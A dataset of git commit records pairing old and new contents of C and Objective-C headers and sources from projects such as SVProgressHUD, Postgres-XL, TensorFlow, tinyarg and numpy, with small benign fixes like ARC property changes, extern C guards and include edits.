{"commit":"8bf24c66e6a41067fb4fb7b443fb6ea85dc96b8e","old_file":"Demo\/Classes\/AppDelegate.h","new_file":"Demo\/Classes\/AppDelegate.h","old_contents":"\/\/\n\/\/  SVProgressHUDAppDelegate.h\n\/\/  SVProgressHUD\n\/\/\n\/\/  Created by Sam Vermette on 27.03.11.\n\/\/  Copyright 2011 Sam Vermette. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class ViewController;\n\n@interface AppDelegate : NSObject <UIApplicationDelegate> {\n    UIWindow *__weak window;\n    ViewController *__weak viewController;\n}\n\n@property (weak, nonatomic) IBOutlet UIWindow *window;\n@property (weak, nonatomic) IBOutlet ViewController *viewController;\n\n@end\n\n","new_contents":"\/\/\n\/\/  SVProgressHUDAppDelegate.h\n\/\/  SVProgressHUD\n\/\/\n\/\/  Created by Sam Vermette on 27.03.11.\n\/\/  Copyright 2011 Sam Vermette. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class ViewController;\n\n@interface AppDelegate : NSObject <UIApplicationDelegate>\n\n@property (strong, nonatomic) IBOutlet UIWindow *window;\n@property (strong, nonatomic) IBOutlet ViewController *viewController;\n\n@end\n\n","subject":"Fix ARC warning in demo project.","message":"Fix ARC warning in demo project.\n","lang":"C","license":"mit","repos":"sdonly\/SVProgressHUD,luxe-eng\/valet-ios.SVProgressHUD,phildow\/SVProgressHUD,ohyeslk\/SVProgressHUD,Sunday4\/SVProgressHUD,CoderJFCK\/SVProgressHUD,cnzlh\/SVProgressHUD,bertramdev\/SVProgressHUD,lyndonChen\/SVProgressHUD,wrcj12138aaa\/SVProgressHUD,DramaFever\/DFProgressHUD,CPF183\/SVProgressHUD,PeeJWeeJ\/SwiftyHUD,ddc391565320\/SVProgressHUD,tonyunreal\/SVProgressHUD,Alsen007\/SVProgressHUD,zeptolee\/SVProgressHUD,ashfurrow\/SVProgressHUD,Kevin775263419\/SVProgressHUD,1yvT0s\/SVProgressHUD,hanangellove\/SVProgressHUD,SuPair\/SVProgressHUD,bhapca\/SVProgressHUD,grachyov\/SVProgressHUD,Pingco\/SVProgressHUD,zdiovo\/SVProgressHUD,siburb\/SVProgressHUD,AutoScout24\/SVProgressHUD,ShowerLi1991\/SVProgressHUD,hnney\/SVProgressHUD,SVProgressHUD\/SVProgressHUD,flovilmart\/SVProgressHUD,haiiev\/SVProgressHUD,TransitApp\/SVProgressHUD,morgman\/TASVProgressHUD,dongdonggaui\/SVProgressHUD,pplant\/SVProgressHUD,zoyi\/SVProgressHUD,hoanganh6491\/SVProgressHUD,pengleelove\/SVProgressHUD,iamcharleych\/SVProgressHUD,hyperoslo\/SVProgressHUD,ShyHornet\/SVProgressHUD,basvankuijck\/SVProgressHUD,mohsinalimat\/SVProgressHUD,taviscaron\/SVProgressHUD,cuppi\/SVProgressHUD,powerhome\/SVProgressHUD,z514306470\/SVProgressHUD,andreyvit\/SVProgressHUD,apascual\/SVProgressHUD,wjszf\/SVProgressHUD,Dschee\/SVProgressHUD,pblondin\/SVProgressHUD,cnbin\/SVProgressHUD,Benuuu\/SVProgressHUD,Karumi\/SVProgressHUD,isghe\/SVProgressHUD,SixFiveSoftware\/SVProgressHUD,ezescaruli\/SVProgressHUD,PeeJWeeJ\/SwiftyHUD,maxcampolo\/SVProgressHUD,RyanCodes\/SVProgressHUD,yarneo\/SVProgressHUD,shizu2014\/SVProgressHUD,shenhzou654321\/SVProgressHUD,adrum\/SVProgressHUD,emodeqidao\/SVProgressHUD,hoowang\/SVProgressHUD,lzhao18\/SVProgressHUD,huqiji\/SVProgressHUD,lookingstars\/SVProgressHUD,kohtenko\/SVProgressHUD,cogddo\/SVProgressHUD,icepy\/SVProgressHUD,Staance\/SVProgressHUD,HelloWilliam\/SVProgressHUD,dxt\/SVProgressHUD"}
{"commit":"667f1a5478e2196696554fc32993cd5ff2b718fa","old_file":"You-DataStore\/internal\/operations\/serialization_operation.h","new_file":"You-DataStore\/internal\/operations\/serialization_operation.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_OPERATIONS_SERIALIZATION_OPERATION_H_\n#define YOU_DATASTORE_INTERNAL_OPERATIONS_SERIALIZATION_OPERATION_H_\n\n#include \"..\/operation.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace Internal {\n\nclass SerializationOperation : public IOperation {\npublic:\n\t\/\/\/ Serialize task to an xml node\n\tstatic void serialize(const SerializedTask&, pugi::xml_node&);\n\n\t\/\/\/ Deserialize task from an xml node\n\tstatic SerializedTask deserialize(const pugi::xml_node&);\n\nprivate:\n\t\/\/\/ The new task contents.\n\tSerializedTask task;\n};\n\n}  \/\/ namespace Internal\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_INTERNAL_OPERATIONS_SERIALIZATION_OPERATION_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_OPERATIONS_SERIALIZATION_OPERATION_H_\n#define YOU_DATASTORE_INTERNAL_OPERATIONS_SERIALIZATION_OPERATION_H_\n\n#include \"..\/operation.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace Internal {\n\nclass SerializationOperation : public IOperation {\npublic:\n\t\/\/\/ Serialize task to an xml node\n\tstatic void serialize(const SerializedTask&, pugi::xml_node&);\n\n\t\/\/\/ Deserialize task from an xml node\n\tstatic SerializedTask deserialize(const pugi::xml_node&);\n};\n\n}  \/\/ namespace Internal\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_INTERNAL_OPERATIONS_SERIALIZATION_OPERATION_H_\n","subject":"Remove unnecessary member variable in SerializationOperation","message":"Remove unnecessary member variable in SerializationOperation\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"d5321842528dfb73f8254a48556b4adb1b6d1c5a","old_file":"contrib\/cube\/cubedata.h","new_file":"contrib\/cube\/cubedata.h","old_contents":"\/* contrib\/cube\/cubedata.h *\/\n\n#include \"fmgr.h\"\n\n#define CUBE_MAX_DIM (100)\n\ntypedef struct NDBOX\n{\n\tint32\t\tvl_len_;\t\t\/* varlena header (do not touch directly!) *\/\n\tunsigned int dim;\n\tdouble\t\tx[1];\n} NDBOX;\n\n#define DatumGetNDBOX(x)\t((NDBOX*)DatumGetPointer(x))\n#define PG_GETARG_NDBOX(x)\tDatumGetNDBOX( PG_DETOAST_DATUM(PG_GETARG_DATUM(x)) )\n#define PG_RETURN_NDBOX(x)\tPG_RETURN_POINTER(x)\n","new_contents":"\/* contrib\/cube\/cubedata.h *\/\n\n#define CUBE_MAX_DIM (100)\n\ntypedef struct NDBOX\n{\n\tint32\t\tvl_len_;\t\t\/* varlena header (do not touch directly!) *\/\n\tunsigned int dim;\n\tdouble\t\tx[1];\n} NDBOX;\n\n#define DatumGetNDBOX(x)\t((NDBOX*)DatumGetPointer(x))\n#define PG_GETARG_NDBOX(x)\tDatumGetNDBOX( PG_DETOAST_DATUM(PG_GETARG_DATUM(x)) )\n#define PG_RETURN_NDBOX(x)\tPG_RETURN_POINTER(x)\n","subject":"Remove \"fmgr.h\" include in cube contrib --- caused crash on a Gentoo builfarm member.","message":"Remove \"fmgr.h\" include in cube contrib --- caused crash on a Gentoo\nbuilfarm member.\n","lang":"C","license":"mpl-2.0","repos":"zeroae\/postgres-xl,arcivanov\/postgres-xl,Postgres-XL\/Postgres-XL,pavanvd\/postgres-xl,Postgres-XL\/Postgres-XL,zeroae\/postgres-xl,xinzweb\/gpdb,ashwinstar\/gpdb,adam8157\/gpdb,zeroae\/postgres-xl,zeroae\/postgres-xl,postmind-net\/postgres-xl,oberstet\/postgres-xl,50wu\/gpdb,pavanvd\/postgres-xl,arcivanov\/postgres-xl,snaga\/postgres-xl,ovr\/postgres-xl,xinzweb\/gpdb,50wu\/gpdb,postmind-net\/postgres-xl,greenplum-db\/gpdb,kmjungersen\/PostgresXL,tpostgres-projects\/tPostgres,50wu\/gpdb,tpostgres-projects\/tPostgres,jmcatamney\/gpdb,snaga\/postgres-xl,adam8157\/gpdb,arcivanov\/postgres-xl,lisakowen\/gpdb,50wu\/gpdb,greenplum-db\/gpdb,lisakowen\/gpdb,kmjungersen\/PostgresXL,yazun\/postgres-xl,ovr\/postgres-xl,ovr\/postgres-xl,techdragon\/Postgres-XL,arcivanov\/postgres-xl,Postgres-XL\/Postgres-XL,greenplum-db\/gpdb,pavanvd\/postgres-xl,lisakowen\/gpdb,Postgres-XL\/Postgres-XL,postmind-net\/postgres-xl,jmcatamney\/gpdb,jmcatamney\/gpdb,50wu\/gpdb,techdragon\/Postgres-XL,oberstet\/postgres-xl,yazun\/postgres-xl,kmjungersen\/PostgresXL,ovr\/postgres-xl,yazun\/postgres-xl,tpostgres-projects\/tPostgres,xinzweb\/gpdb,pavanvd\/postgres-xl,50wu\/gpdb,techdragon\/Postgres-XL,greenplum-db\/gpdb,snaga\/postgres-xl,greenplum-db\/gpdb,yazun\/postgres-xl,ashwinstar\/gpdb,tpostgres-projects\/tPostgres,jmcatamney\/gpdb,ovr\/postgres-xl,xinzweb\/gpdb,50wu\/gpdb,snaga\/postgres-xl,lisakowen\/gpdb,postmind-net\/postgres-xl,Postgres-XL\/Postgres-XL,lisakowen\/gpdb,kmjungersen\/PostgresXL,arcivanov\/postgres-xl,jmcatamney\/gpdb,50wu\/gpdb,adam8157\/gpdb,oberstet\/postgres-xl,jmcatamney\/gpdb,xinzweb\/gpdb,lisakowen\/gpdb,greenplum-db\/gpdb,ashwinstar\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,postmind-net\/postgres-xl,ashwinstar\/gpdb,adam8157\/gpdb,greenplum-db\/gpdb,snaga\/postgres-xl,yazun\/postgres-xl,adam8157\/gpdb,techdragon\/Postgres-XL,kmjungersen\/PostgresXL,adam8157\/gpdb,pavanvd\/postgres-xl,greenplum-db\/gpdb,xinzweb\/gpdb,ashwinstar\/gpdb,ashwinstar\/gpdb,zeroae\/postgres-xl,lisakowen\/gpdb,adam8157\/gpdb,jmcatamney\/gpdb,ashwinstar\/gpdb,arcivanov\/postgres-xl,xinzweb\/gpdb,ashwinstar\/gpdb,jmcatamney\/gpdb,xinzweb\/gpdb,oberstet\/postgres-xl,oberstet\/postgres-xl,techdragon\/Postgres-XL,tpostgres-projects\/tPostgres"}
{"commit":"520cee1eeb88bae50e20c4b53c0eedf843269ba9","old_file":"tensorflow\/core\/platform\/test_benchmark.h","new_file":"tensorflow\/core\/platform\/test_benchmark.h","old_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n\/\/ Simple benchmarking facility.\n#ifndef TENSORFLOW_CORE_PLATFORM_TEST_BENCHMARK_H_\n#define TENSORFLOW_CORE_PLATFORM_TEST_BENCHMARK_H_\n\n#include \"tensorflow\/core\/platform\/platform.h\"\n\n#if defined(PLATFORM_GOOGLE)\n#include \"tensorflow\/core\/platform\/google\/test_benchmark.h\"\n#else\n#include \"tensorflow\/core\/platform\/default\/test_benchmark.h\"\n#endif  \/\/ PLATFORM_GOOGLE\n\n\n#endif  \/\/ TENSORFLOW_CORE_PLATFORM_TEST_BENCHMARK_H_\n","new_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n\/\/ Simple benchmarking facility.\n#ifndef TENSORFLOW_CORE_PLATFORM_TEST_BENCHMARK_H_\n#define TENSORFLOW_CORE_PLATFORM_TEST_BENCHMARK_H_\n\n#include \"tensorflow\/core\/platform\/platform.h\"\n\n#if defined(PLATFORM_GOOGLE)\n#include \"tensorflow\/core\/platform\/google\/test_benchmark.h\"  \/\/ IWYU pragma: export\n#else\n#include \"tensorflow\/core\/platform\/default\/test_benchmark.h\"  \/\/ IWYU pragma: export\n#endif  \/\/ PLATFORM_GOOGLE\n\n\n#endif  \/\/ TENSORFLOW_CORE_PLATFORM_TEST_BENCHMARK_H_\n","subject":"Add IWYU tags to headers TF is re-exporting.","message":"Add IWYU tags to headers TF is re-exporting.\n\nPiperOrigin-RevId: 291557790\nChange-Id: Ic0268063ea1048bf6f22ba6aee1b9854d6420f30\n","lang":"C","license":"apache-2.0","repos":"gunan\/tensorflow,sarvex\/tensorflow,freedomtan\/tensorflow,jhseu\/tensorflow,frreiss\/tensorflow-fred,karllessard\/tensorflow,xzturn\/tensorflow,yongtang\/tensorflow,xzturn\/tensorflow,aldian\/tensorflow,xzturn\/tensorflow,freedomtan\/tensorflow,renyi533\/tensorflow,sarvex\/tensorflow,gautam1858\/tensorflow,frreiss\/tensorflow-fred,aam-at\/tensorflow,xzturn\/tensorflow,jhseu\/tensorflow,paolodedios\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,sarvex\/tensorflow,annarev\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,freedomtan\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,renyi533\/tensorflow,tensorflow\/tensorflow,aldian\/tensorflow,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,cxxgtxy\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,freedomtan\/tensorflow,paolodedios\/tensorflow,aam-at\/tensorflow,karllessard\/tensorflow,jhseu\/tensorflow,annarev\/tensorflow,frreiss\/tensorflow-fred,yongtang\/tensorflow,paolodedios\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,jhseu\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,gunan\/tensorflow,renyi533\/tensorflow,petewarden\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow,frreiss\/tensorflow-fred,annarev\/tensorflow,petewarden\/tensorflow,gunan\/tensorflow,yongtang\/tensorflow,aam-at\/tensorflow,annarev\/tensorflow,Intel-Corporation\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow,yongtang\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,jhseu\/tensorflow,davidzchen\/tensorflow,petewarden\/tensorflow,gautam1858\/tensorflow,yongtang\/tensorflow,Intel-Corporation\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,aam-at\/tensorflow,annarev\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,davidzchen\/tensorflow,freedomtan\/tensorflow,annarev\/tensorflow,cxxgtxy\/tensorflow,cxxgtxy\/tensorflow,karllessard\/tensorflow,frreiss\/tensorflow-fred,paolodedios\/tensorflow,Intel-Corporation\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,gautam1858\/tensorflow,gautam1858\/tensorflow,aam-at\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,xzturn\/tensorflow,freedomtan\/tensorflow,gautam1858\/tensorflow,cxxgtxy\/tensorflow,gautam1858\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,renyi533\/tensorflow,petewarden\/tensorflow,yongtang\/tensorflow,gunan\/tensorflow,aam-at\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,renyi533\/tensorflow,xzturn\/tensorflow,annarev\/tensorflow,davidzchen\/tensorflow,renyi533\/tensorflow,karllessard\/tensorflow,yongtang\/tensorflow,aam-at\/tensorflow,frreiss\/tensorflow-fred,Intel-tensorflow\/tensorflow,gautam1858\/tensorflow,paolodedios\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,davidzchen\/tensorflow,petewarden\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,freedomtan\/tensorflow,karllessard\/tensorflow,karllessard\/tensorflow,jhseu\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,aldian\/tensorflow,paolodedios\/tensorflow,davidzchen\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,aam-at\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,renyi533\/tensorflow,annarev\/tensorflow,freedomtan\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow,frreiss\/tensorflow-fred,sarvex\/tensorflow,paolodedios\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,davidzchen\/tensorflow,xzturn\/tensorflow,paolodedios\/tensorflow,xzturn\/tensorflow,aldian\/tensorflow,karllessard\/tensorflow,gautam1858\/tensorflow,gunan\/tensorflow,freedomtan\/tensorflow,frreiss\/tensorflow-fred,davidzchen\/tensorflow,renyi533\/tensorflow,frreiss\/tensorflow-fred,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,davidzchen\/tensorflow,Intel-tensorflow\/tensorflow,cxxgtxy\/tensorflow,petewarden\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow,davidzchen\/tensorflow,Intel-Corporation\/tensorflow,aam-at\/tensorflow,aldian\/tensorflow,gunan\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,gunan\/tensorflow,gunan\/tensorflow,cxxgtxy\/tensorflow,aam-at\/tensorflow,frreiss\/tensorflow-fred,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,tensorflow\/tensorflow,renyi533\/tensorflow,davidzchen\/tensorflow,gunan\/tensorflow,gautam1858\/tensorflow,annarev\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,petewarden\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,sarvex\/tensorflow,cxxgtxy\/tensorflow,freedomtan\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,aam-at\/tensorflow,annarev\/tensorflow,gautam1858\/tensorflow,sarvex\/tensorflow,xzturn\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,jhseu\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_saved_model,sarvex\/tensorflow,renyi533\/tensorflow,karllessard\/tensorflow,xzturn\/tensorflow,frreiss\/tensorflow-fred,karllessard\/tensorflow,gautam1858\/tensorflow,yongtang\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,jhseu\/tensorflow,xzturn\/tensorflow,tensorflow\/tensorflow,jhseu\/tensorflow,cxxgtxy\/tensorflow,sarvex\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,jhseu\/tensorflow,xzturn\/tensorflow,jhseu\/tensorflow"}
{"commit":"d58efe12d8c0dcfcc7a2495682dbea864a8112fa","old_file":"src\/tinyarg.h","new_file":"src\/tinyarg.h","old_contents":"#ifndef __TINYARG_H__\n#define __TINYARG_H__\n\nstruct  tiny_args_t;\n\nbool tiny_args_parse(struct tiny_args_t* args, int argc, const char* argv[]);\n\nvoid tiny_args_add_bool(struct tiny_args_t** args,\n\t\t\t\t\t\t\t\t\t\t\t\tchar short_opt,\n\t\t\t\t\t\t\t\t\t\t\t\tconst char* long_opt,\n\t\t\t\t\t\t\t\t\t\t\t\tbool* flag,\n\t\t\t\t\t\t\t\t\t\t\t\tconst char* desc);\n\nvoid tiny_args_add_str(struct tiny_args_t** args,\n\t\t\t\t\t\t\t\t\t\t\t char short_opt,\n\t\t\t\t\t\t\t\t\t\t\t const char* long_opt,\n\t\t\t\t\t\t\t\t\t\t \t char* str,\n\t\t\t\t\t\t\t\t\t\t\t size_t str_len,\n\t\t\t\t\t\t\t\t\t\t\t const char* desc);\n\nvoid tiny_args_usage(const char* process_name, struct tiny_args_t* args);\n\nvoid tiny_args_destroy(struct tiny_args_t* args);\n\n#endif \/* __TINYARG_H__ *\/\n","new_contents":"#ifndef __TINYARG_H__\n#define __TINYARG_H__\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\nstruct  tiny_args_t;\n\nbool tiny_args_parse(struct tiny_args_t* args, int argc, const char* argv[]);\n\nvoid tiny_args_add_bool(struct tiny_args_t** args,\n                        char short_opt,\n                        const char* long_opt,\n                        bool* flag,\n                        const char* desc);\n\nvoid tiny_args_add_str(struct tiny_args_t** args,\n                       char short_opt,\n                       const char* long_opt,\n                       char* str,\n                       size_t str_len,\n                       const char* desc);\n\nvoid tiny_args_usage(const char* process_name, struct tiny_args_t* args);\n\nvoid tiny_args_destroy(struct tiny_args_t* args);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* __TINYARG_H__ *\/\n","subject":"Add externs for use in C++ code","message":"Add externs for use in C++ code\n","lang":"C","license":"mit","repos":"yoink00\/tinyarg"}
{"commit":"8f117e00785bbf86d94df997e08a45ae06dd73b7","old_file":"src\/bool.h","new_file":"src\/bool.h","old_contents":"\/**\n * File:   bool.h\n * Author: Cindy Norris\n *\/\n\n#define TRUE 1\n#define FALSE 0\n\ntypedef int bool;\n\n","new_contents":"\/*\n * File:   bool.h\n * Author: Cindy Norris\n *\/\n\n#define TRUE 1\n#define FALSE 0\n\ntypedef int bool;\n\n","subject":"Change file header to C style","message":"Change file header to C style\n","lang":"C","license":"isc","repos":"sbennett1990\/YESS,sbennett1990\/YESS,sbennett1990\/YESS"}
{"commit":"29e868951da7348ffa021889bfd5719bab403308","old_file":"numpy\/core\/src\/multiarray\/multiarraymodule_onefile.c","new_file":"numpy\/core\/src\/multiarray\/multiarraymodule_onefile.c","old_contents":"\/*\n * This file includes all the .c files needed for a complete multiarray module.\n * This is used in the case where separate compilation is not enabled\n *\n * Note that the order of the includs matters\n *\/\n\n#include \"common.c\"\n\n#include \"scalartypes.c\"\n#include \"scalarapi.c\"\n\n#include \"datetime.c\"\n#include \"arraytypes.c\"\n\n#include \"hashdescr.c\"\n#include \"numpyos.c\"\n\n#include \"descriptor.c\"\n#include \"flagsobject.c\"\n#include \"ctors.c\"\n#include \"iterators.c\"\n#include \"mapping.c\"\n#include \"number.c\"\n#include \"getset.c\"\n#include \"sequence.c\"\n#include \"methods.c\"\n#include \"convert_datatype.c\"\n#include \"convert.c\"\n#include \"shape.c\"\n#include \"item_selection.c\"\n#include \"calculation.c\"\n#include \"usertypes.c\"\n#include \"refcount.c\"\n#include \"conversion_utils.c\"\n#include \"buffer.c\"\n\n#include \"new_iterator.c\"\n#include \"new_iterator_pywrap.c\"\n#include \"lowlevel_strided_loops.c\"\n#include \"dtype_transfer.c\"\n\n\n#ifndef Py_UNICODE_WIDE\n#include \"ucsnarrow.c\"\n#endif\n\n#include \"arrayobject.c\"\n\n#include \"numpymemoryview.c\"\n\n#include \"multiarraymodule.c\"\n","new_contents":"\/*\n * This file includes all the .c files needed for a complete multiarray module.\n * This is used in the case where separate compilation is not enabled\n *\n * Note that the order of the includs matters\n *\/\n\n#include \"common.c\"\n\n#include \"scalartypes.c\"\n#include \"scalarapi.c\"\n\n#include \"datetime.c\"\n#include \"arraytypes.c\"\n\n#include \"hashdescr.c\"\n#include \"numpyos.c\"\n\n#include \"descriptor.c\"\n#include \"flagsobject.c\"\n#include \"ctors.c\"\n#include \"iterators.c\"\n#include \"mapping.c\"\n#include \"number.c\"\n#include \"getset.c\"\n#include \"sequence.c\"\n#include \"methods.c\"\n#include \"convert_datatype.c\"\n#include \"convert.c\"\n#include \"shape.c\"\n#include \"item_selection.c\"\n#include \"calculation.c\"\n#include \"usertypes.c\"\n#include \"refcount.c\"\n#include \"conversion_utils.c\"\n#include \"buffer.c\"\n\n#include \"new_iterator.c\"\n#include \"new_iterator_pywrap.c\"\n#include \"lowlevel_strided_loops.c\"\n#include \"dtype_transfer.c\"\n#include \"einsum.c\"\n\n\n#ifndef Py_UNICODE_WIDE\n#include \"ucsnarrow.c\"\n#endif\n\n#include \"arrayobject.c\"\n\n#include \"numpymemoryview.c\"\n\n#include \"multiarraymodule.c\"\n","subject":"Add einsum to the one file build","message":"BLD: Add einsum to the one file build\n","lang":"C","license":"bsd-3-clause","repos":"hainm\/numpy,groutr\/numpy,shoyer\/numpy,njase\/numpy,astrofrog\/numpy,empeeu\/numpy,numpy\/numpy,ajdawson\/numpy,gmcastil\/numpy,mattip\/numpy,ajdawson\/numpy,maniteja123\/numpy,SiccarPoint\/numpy,groutr\/numpy,jakirkham\/numpy,rajathkumarmp\/numpy,ewmoore\/numpy,felipebetancur\/numpy,utke1\/numpy,CMartelLML\/numpy,pyparallel\/numpy,dwillmer\/numpy,behzadnouri\/numpy,seberg\/numpy,dwillmer\/numpy,Srisai85\/numpy,b-carter\/numpy,pelson\/numpy,argriffing\/numpy,drasmuss\/numpy,leifdenby\/numpy,ViralLeadership\/numpy,nguyentu1602\/numpy,rudimeier\/numpy,SunghanKim\/numpy,abalkin\/numpy,SunghanKim\/numpy,dch312\/numpy,sigma-random\/numpy,embray\/numpy,jschueller\/numpy,jakirkham\/numpy,jankoslavic\/numpy,AustereCuriosity\/numpy,dimasad\/numpy,ESSS\/numpy,simongibbons\/numpy,GrimDerp\/numpy,nbeaver\/numpy,behzadnouri\/numpy,trankmichael\/numpy,trankmichael\/numpy,Eric89GXL\/numpy,matthew-brett\/numpy,Eric89GXL\/numpy,Linkid\/numpy,MSeifert04\/numpy,jakirkham\/numpy,MSeifert04\/numpy,rhythmsosad\/numpy,embray\/numpy,kiwifb\/numpy,brandon-rhodes\/numpy,ewmoore\/numpy,chiffa\/numpy,tynn\/numpy,solarjoe\/numpy,cowlicks\/numpy,WillieMaddox\/numpy,pbrod\/numpy,jonathanunderwood\/numpy,behzadnouri\/numpy,grlee77\/numpy,Yusa95\/numpy,Dapid\/numpy,BMJHayward\/numpy,anntzer\/numpy,mwiebe\/numpy,ChristopherHogan\/numpy,MSeifert04\/numpy,nguyentu1602\/numpy,brandon-rhodes\/numpy,pizzathief\/numpy,ChristopherHogan\/numpy,GaZ3ll3\/numpy,cjermain\/numpy,yiakwy\/numpy,pdebuyl\/numpy,stuarteberg\/numpy,rmcgibbo\/numpy,SiccarPoint\/numpy,stefanv\/numpy,immerrr\/numpy,BMJHayward\/numpy,joferkington\/numpy,mathdd\/numpy,tacaswell\/numpy,pdebuyl\/numpy,has2k1\/numpy,mingwpy\/numpy,pelson\/numpy,mingwpy\/numpy,pbrod\/numpy,tacaswell\/numpy,ssanderson\/numpy,sonnyhu\/numpy,ESSS\/numpy,has2k1\/numpy,nbeaver\/numpy,mortada\/numpy,charris\/numpy,CMartelLML\/numpy,moreati\/numpy,cjermain\/numpy,kirillzhuravlev\/numpy,ssanderson\/numpy,Eric89GXL\/numpy,dato-code\/numpy,ogrisel\/numpy,bringingheavendown\/numpy,numpy\/numpy,MaPePeR\/numpy,ewmoore\/numpy,ajdawson\/numpy,Yusa95\/numpy,cjermain\/numpy,stuarteberg\/numpy,naritta\/numpy,jakirkham\/numpy,NextThought\/pypy-numpy,empeeu\/numpy,Anwesh43\/numpy,astrofrog\/numpy,sigma-random\/numpy,Linkid\/numpy,bringingheavendown\/numpy,rajathkumarmp\/numpy,kirillzhuravlev\/numpy,mingwpy\/numpy,naritta\/numpy,MichaelAquilina\/numpy,tdsmith\/numpy,bmorris3\/numpy,empeeu\/numpy,joferkington\/numpy,ChanderG\/numpy,pbrod\/numpy,MichaelAquilina\/numpy,SunghanKim\/numpy,astrofrog\/numpy,WarrenWeckesser\/numpy,Dapid\/numpy,grlee77\/numpy,WarrenWeckesser\/numpy,nbeaver\/numpy,seberg\/numpy,leifdenby\/numpy,bertrand-l\/numpy,ChanderG\/numpy,charris\/numpy,chiffa\/numpy,mwiebe\/numpy,jschueller\/numpy,stuarteberg\/numpy,madphysicist\/numpy,ekalosak\/numpy,brandon-rhodes\/numpy,jorisvandenbossche\/numpy,cowlicks\/numpy,rmcgibbo\/numpy,ekalosak\/numpy,charris\/numpy,rgommers\/numpy,seberg\/numpy,endolith\/numpy,abalkin\/numpy,stuarteberg\/numpy,ChristopherHogan\/numpy,bmorris3\/numpy,mwiebe\/numpy,ahaldane\/numpy,ewmoore\/numpy,AustereCuriosity\/numpy,embray\/numpy,Anwesh43\/numpy,joferkington\/numpy